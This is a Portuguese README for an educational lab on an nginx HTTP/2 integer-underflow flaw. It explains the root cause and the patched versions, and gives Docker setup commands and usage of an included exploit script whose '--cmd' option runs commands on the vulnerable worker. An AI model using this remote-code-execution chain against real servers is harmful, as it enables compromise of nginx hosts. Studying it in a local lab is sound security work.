
Laboratório local para CVE-2026-123007 (underflow de inteiro no HTTP/2 do nginx): contêiner Docker vulnerável + prova de conceito

Apenas para uso educacional. Este repositório é um laboratório local e autocontido para aprender como o bug funciona. Não o execute contra sistemas que você não possui ou para os quais não tem permissão escrita de teste.
Um bug crítico de controle de fluxo no nginx HTTP/2 pode permitir que um cliente não autenticado corrompa a memória do worker e, sob condições específicas, execute código. Este laboratório executa a imagem real do nginx vulnerável e inclui um pequeno PoC que comprova a causa raiz na sua máquina.
O relatório completo — como o erro de contabilização funciona, por que ele precisa de 128 GB de tráfego e o que a correção alterou — está em article.md.
| Item | Detalhe |
|---|---|
| CVE | CVE-2026-123007 |
| Tipo | Integer underflow (CWE-191) |
| CVSS v4 | 9.2 Crítico (AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) |
| Componente | Controle de fluxo de resposta HTTP/2 do nginx |
| Impacto | Divulgação de memória, crash do worker, execução de código como o worker do nginx |
| Vetor de ataque | Remoto, não autenticado, uma única conexão HTTP/2 |
| Divulgado | 18 de novembro de 2026 (Rapid7 / F5) |
| Crédito | Stephen Fewer, Rapid7 |
O controle de fluxo HTTP/2 dá ao cliente o controle sobre quanto dado de resposta o nginx pode enviar. O nginx rastreia dois contadores: um para cada stream e um para a conexão (h2c->send_window, um size_t sem sinal).
SETTINGS_INITIAL_WINDOW_SIZE pode fechar streams com crédito excessivo enquanto mantém a conexão viva, de modo que a janela da conexão acaba acima de 2^31-1.WINDOW_UPDATE calcula MAX - h2c->send_window. Como o contador está acima de MAX, a subtração sem sinal sofre underflow para um valor enorme, então a verificação passa e o cliente pode empurrar a janela em direção a 2^64.off_t com sinal. Ele se torna negativo, o nginx cria um buffer de saída invertido (last < pos), e o caminho de saída TLS passa o comprimento negativo para memcpy como um size_t enorme. O resultado é uma leitura/escrita fora dos limites: primeiro divulgação de dados, depois uma sobrescrita controlada de um callback de limpeza do pool de requisições que pode executar system() no worker.Enviar uma requisição corrompida não é suficiente por si só. A exploração prática exige acesso direto a TCP/TLS (para que o backpressure funcione), um heap de worker novo, aproximadamente 119 GiB de tráfego em texto claro e uma build glibc x86-64 cujo memcpy selecionado em tempo de execução use o caminho EVEX/YMM (avx512f + avx512vl).
Versões corrigidas estão disponíveis:
| Produto | Vulnerável | Corrigido |
|---|---|---|
| nginx Open Source | 1.31.0 – 1.31.8 | 1.31.9 |
| nginx Open Source | 1.9.5 – 1.30.6 | 1.30.7 |
| NGINX Plus | 37.1.0 – 37.2.0.1 | 37.3.0.1 |
| NGINX Plus | 37.0.0 – 37.0.7.1 | 37.0.8.1 |
| NGINX Plus | R34 – R36 | Sem correção |
Cronologia: a Rapid7 contatou a F5 em 11 de novembro de 2026; a F5 confirmou o problema e atribuiu o CVE; a divulgação coordenada ocorreu em 18 de novembro de 2026. Se você executa o nginx com http2 on, atualize. Desabilitar o HTTP/2 remove a superfície de ataque até que você possa aplicar o patch.
.
├── docker/
│ ├── Dockerfile # pinned vulnerable image, nginx 1.31.8
│ ├── docker-compose.yml # publishes 127.0.0.1:19443
│ ├── entrypoint.sh # creates a self-signed certificate
│ └── nginx.conf # TLS + http2 on
├── engine/ # published RCE chain (Rapid7 PoC, credited below)
│ ├── nginx_rce/ # protocol, heap layout, reclaim, dispatch
│ ├── profiles/ # calibrated nginx 1.31.8 target profile
│ ├── streamer.c # native bulk-traffic helper
│ └── requirements.txt
├── exploit.py # entry point: check, crash, or run a command
├── assets/
│ └── underflow.gif # animated diagram for section 4
├── article.md # full write-up of the bug and the lab
├── cover.png # article cover
├── cover.svg # vector source for the cover
└── README.md
cryptography para execução de comandos:
pip install -r engine/requirements.txtgcc, libssl-dev) para compilar engine/streamercurl com suporte a HTTP/2 (opcional, para verificações manuais)Inicie o servidor vulnerável:
cd docker
docker compose up -d --build
Verifique se está servindo a página padrão de 896 bytes via HTTP/2:
curl -sk --http2 -o /dev/null -w '%{http_version} %{http_code} %{size_download}\n' \
https://127.0.0.1:19443/index.html
Expected:
2 200 896
Execute a verificação rápida:
cd ..
python3 exploit.py --target https://127.0.0.1:19443/
Expected output:
[*] target : https://127.0.0.1:19443/
[*] server : nginx/1.31.8
[*] index.html : 896 bytes
[*] tls : TLSv1.3 alpn=h2
[*] building TLS record boundary: 262144 KeyUpdate records
[+] over-credit : stream cleanup restored credit above 2^31-1
[+] underflow : next WINDOW_UPDATE passed the unsigned guard
[+] status : CVE-2026-123007 confirmed
Isso leva cerca de 45 segundos e envia apenas alguns megabytes. É seguro repetir; reinicie o contêiner entre as tentativas se quiser um worker novo:
docker restart cve-2026-123007
SETTINGS.FLOW_CONTROL_ERROR (RST_STREAM) em vez de encerrar a conexão, e a limpeza devolve os bytes reservados deles, deixando a janela de conexão acima de 2^31-1.WINDOW_UPDATE é aceito mesmo assim, e um PING enviado depois é reconhecido. Esse é o underflow: a proteção MAX - send_window sofreu wraparound.Um nginx corrigido falha nessa verificação, porque o invariante da janela de conexão é restaurado antes de os streams serem fechados. Resultados verificados:
| Imagem de destino | Saída |
|---|---|
nginx:1.31.8 (vulnerável) | [+] status : CVE-2026-123007 confirmed |
nginx:1.31.9 (corrigido) | [-] error : over-credited streams were not reset: {} |
A cadeia completa de execução de comandos está incluída em engine/. Instale seus dois pré-requisitos uma vez:
pip install -r engine/requirements.txt
sudo apt install gcc libssl-dev
Reinicie o contêiner para que o heap do worker esteja limpo e, em seguida, passe --cmd:
docker restart cve-2026-123007
python3 exploit.py --target https://127.0.0.1:19443/ --cmd 'id > /tmp/proof'
docker exec cve-2026-123007 cat /tmp/proof
Expected output: